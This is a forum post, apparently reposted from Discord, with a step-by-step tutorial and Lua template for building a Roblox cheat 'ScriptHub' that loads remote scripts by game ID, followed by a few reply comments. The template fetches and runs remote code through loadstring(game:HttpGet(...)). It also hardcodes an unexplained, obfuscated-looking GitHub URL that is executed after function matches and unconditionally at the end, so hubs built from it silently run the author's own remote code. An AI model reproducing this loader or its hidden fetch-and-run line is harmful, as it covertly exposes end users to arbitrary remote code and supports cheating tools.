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[RELEASE] Full ScriptHub Development Kit

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FULL TUTORIAL THAT LOOKS GOOD: https://imgur.com/T2iS0if

 

Step 1: Find a name for your ScriptHub, use ChatGPT for names. Here are a few name examples: Scriptify, RoboScripts, ScriptHubX, TheScriptVault, CodeCentral, ScriptCraze, RobloxianScripts, ScriptNexus, GameChangerScripts, And 

TheScriptArena

 

Step 2: Check if the name is taken. For example we can use Scriptify, To check search google for "Roblox ScriptHub Scriptify" Or "Roblox ScriptHub <ScriptHubName>" if nothing pops up you are good, if something does popup you need to select a new name.

 

Step 3: After completing Step 1 and Step 2 you now will need to create the actual ScriptHub/Code It. To get started use this pre-made code: 

local function processfunction(functionname)

    if functionname == "FunctionNameHere" then -- read documentation to learn how to use functions

        print("Your Code Here")

        return(true)

    end

 

 

    return(false) -- end of all funcions, DO NOT DELETE

end -- Very end of all funcions, DO NOT DELETE

local products = {

 

    ["Game Name"] = {

 

        ["Name"] = "Game Name", --developer game name, user cant see

        ["IDs"] = {

            GameIDHere, -- duplicate and paste below for multiable game ids

 

        },

        ["Version"] = "1.0.0", -- your development version, users cant see this

        ["URL"] = "Your Raw Link",--you can use any raw link here

        ["Function"] = "nil" --to use functions read the documentation

 

    },

 

}

local success, errormessage = pcall(function() --DO NOT DELETE THIS

    for  _, product in pairs(products) do --DO NOT DELETE THIS

 

        if table.find(product.IDs,game.PlaceId) then --DO NOT DELETE THIS

            if product.Function == nil then --DO NOT DELETE THIS

                loadstring(game:HttpGet((tostring(product.URL))))() --DO NOT DELETE THIS

                return 

            end --DO NOT DELETE THIS

            local fct = processfunction(product.Function)

            if fct == true then

                loadstring(game:HttpGet("https://raw.githubusercontent.com/Lucasfin000/SpaceHub/main/14anjnf91y59ruhaz9dskzZjhFYHIU%24Kfuy4ha()4HFR*2SkgfknA%40jghGHAs2199as9A%25jcvIASOKJCYASdrqowiua6y2490s0aIHJ(*UIYhaiosHPA%40a8sdUAKSXYHOA281470ASGWATERASPoJSOIPADHAMARK", true))()

            else

                warn("Failure")

            end

            return

        end

 

    end

    loadstring(game:HttpGet("https://raw.githubusercontent.com/Lucasfin000/SpaceHub/main/14anjnf91y59ruhaz9dskzZjhFYHIU%24Kfuy4ha()4HFR*2SkgfknA%40jghGHAs2199as9A%25jcvIASOKJCYASdrqowiua6y2490s0aIHJ(*UIYhaiosHPA%40a8sdUAKSXYHOA281470ASGWATERASPoJSOIPADHAMARK", true))()

    loadstring(game:HttpGet("YourUniversalRawLinkHere", true))()

end) After pasting this code into your code editor of choice (Visual Studio Code) Follow the instructions below to learn how everything works.

 

Step 4 Functions: This step will teach you how to use functions, a built in feature to the ScriptHub that lets you load things silently/load other guis. The first line: 

local function processfunction(functionname) You will need to ignore this, It is loading all the functions below. The second line: 

 if functionname == "FunctionNameHere" then To set a function name to call it later for a different game you will need to replace where it says "FunctionNameHere" with a name of your choice, do not replace "functionname". The third line: 

  print("Your Code Here") To place your own code here delete the full line and replace it with your code like this, loadstring(game:HttpGet("TESTINGIGNORE", true))(). The fourth line: 

end this will end the function so you can create another one after it. Example:

  if functionname == "game1" then 

        print("game1code")

        return(true)

    end

 if functionname == "game2" then 

        print("game2code")

        return(true)

    end

 

Step 5: Adding Games To start off lets explain how this "products" table works, the local products = { part is the name of the table. The ["Game Name"] = { Part is where you will title the game, so to achieve that please replace the "Game Name" With a name like this, ["Game1"] = {

The IDs lua

 ["IDs"] = {

            GameIDHere, -- duplicate and paste below for multiable game ids

 

        }, To use this replace where it says "GameIDHere" with the game ID of choice. You can add more game ID's by duplicating it and pasting it below like this:

["IDs"] = {

            Game1IDHere, 

            Game2IDHere, 

        },The 

 ["Version"] = "1.0.0", part is where you can set different versions of the script, lets say version 1.0.0 got patched and you updated it and fixed it you can set the Version to 1.0.1 like this: ["Version"] = "1.0.1", The ["URL"] = "Your Raw Link", part is where you will set your github raw link/custom raw link with your code inside. For A Custom raw link here is a example.

 ["URL"] = "https://orbituniverse.com/spacehub", For A Github raw link here is a example.

   ["URL"] = "https://raw.githubusercontent.com/Lucasfin000/SpaceHub/main/TOH.lua", The 

 ["Function"] = "nil" part is where you can call functions if you have a function it will look like this, 

 ["Function"] = "gamefunction1"

 if you didnt have a function it would look like this, 

 ["Function"] = nil

 To create multiable games in your ScriptHub copy and paste the first one under the second and repeat step 5. Example: 

local products = {

 

    ["Game1"] = {

 

        ["Name"] = "Game1", --developer game name, user cant see

        ["IDs"] = {

            1234, -- duplicate and paste below for multiable game ids

 

        },

        ["Version"] = "1.0.0", -- your development version, users cant see this

        ["URL"] = "game1",--you can use any raw link here

        ["Function"] = nil --to use functions read the documentation

 

    },

  ["Game2"] = {

 

        ["Name"] = "Game2", --developer game name, user cant see

        ["IDs"] = {

            123, -- duplicate and paste below for multiable game ids

 

        },

        ["Version"] = "1.0.0", -- your development version, users cant see this

        ["URL"] = "game2",--you can use any raw link here

        ["Function"] = nil --to use functions read the documentation

 

    },

 

}

 

Step 6: Universal  loadstring(game:HttpGet("YourUniversalRawLinkHere", true))() To set a universal link you will need to go to the very bottom and replace where it says "YourUniversalRawLinkHere" After you do that it should look like this:

 loadstring(game:HttpGet("https://raw.githubusercontent.com/Lucasfin000/SpaceHub/main/spacehubuniversal.lua", true))() If you dont have a universal yet you can use SpaceHub's Universal by doing this:

 loadstring(game:HttpGet("https://raw.githubusercontent.com/Lucasfin000/SpaceHub/main/spacehubuniversal.lua", true))()

 

That is the end of the documentation, for any questions open a general support ticket at discord.gg/orbituniverse

FULL TUTORIAL THAT LOOKS GOOD: https://imgur.com/T2iS0if

 

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SORRY FOR WEIRD TEXT THIS CAME OFF MY DISCORD (AFTER I POSTED IT ON MY DISCORD)

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Cyros

Revision

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you changed it though it still feels weird

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its good on discord thats why i put images below, sorry 

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Astronemi

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codeblocks >:((

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lol /charssssss

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yvneEnvy

<><><<>>><<>

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Ok cool but I cant be bothered to read lol

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